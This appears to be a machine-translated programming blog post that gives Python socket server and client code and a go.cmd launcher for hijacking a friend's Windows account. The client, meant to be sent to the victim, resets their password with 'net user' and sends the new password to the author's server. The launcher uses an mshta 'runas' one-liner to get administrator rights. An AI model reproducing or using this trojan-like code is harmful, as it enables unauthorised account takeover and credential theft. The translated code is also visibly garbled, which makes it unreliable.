This is the sixth day of my participation in the August More Text Challenge. For details, see “August More Text Challenge”.

PS: In the end, I didn’t change anything and changed back! Only for learning technology exchange! Do not break the law and discipline! I do not bear all the consequences!

Tools to prepare

Development environment: Win10 + Python3.7

Development tool: PyCharm

Project idea Analysis

When I think of remote, I think of creating a connection, when I think of creating a link, I think of socket sockets (when I think of sockets, I don’t have a boyfriend)

There are three knowledge points respectively:

1. Remote socket connection

2. Create the client and server

3. Run the code as an administrator

Today we are learning to change the computer password and remote change friends password, if there is no good parsing, welcome to the big guy.

3 copies of the project code (remember that you took the server code, the client code and go.cmd were sent to others)

First create the server normally:

Create a socket

Binding AN IP Port

Set up to monitor

Waiting for the connection

Receive data print data

Close the connection

The source code

Import socket server = socket.socket(socket.af_inet, Socket server.bind('192.168.246.1', 44444)) # binding IP/port for server listen (# 5) to monitor the print (' * * * * * * * * * * * wait for link * * * * * * * * * ') conn, Addr = server.accept() # connect to print(conn) print(' client address :', addr) client_msg = conn.recv(1024) print(' client password changed by: %s' % client_msg) conn.close() server.close()Copy the code

Net User User name to change password (you can try it yourself)

Remind again, remember the server is our own hold of ha, don’t be silly to send each other oh!

Next, write to your friend’s client:

Connect the IP address and port of the server to obtain the computer account name currently in use. Generate a random computer password. On the terminal, execute the command to change the Windows password

Import getPass import subprocess import random client = socket.socket(socket.af_inet, # Create socket instance client.connect((IP, User = getpass.getuser() # print(user) PSD = "for j in range(1, 9): PSD = PSD + m subprocess.Popen(['net', 'User', 'User', 'User', 'User', 'User') Send (psD.encode ('utf-8')) # back_msg = client.recv(1024) client.close() # Close the socketCopy the code

At this point, you can basically try it yourself, but note that the current code can only modify the admin account.

Non-admin users need to increase their execution permission and directly execute the CMD file go. CMD as the super administrator

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py
Copy the code

summary

Finally, I changed the password to log in successfully, and found his password!

No wonder every time I and he dou figure, I every time dou not win him, the original is carrying me under thousands of emoji package, how did I not think of this SAO operation!!

I am white and white I, a love to share knowledge of the program yuan ❤️

If you have no contact with the programming section of the friends see this blog, find do not understand or want to learn Python, you can directly leave a message + private I ducky [thank you very much for your likes, collection, attention, comments, one button four connect support]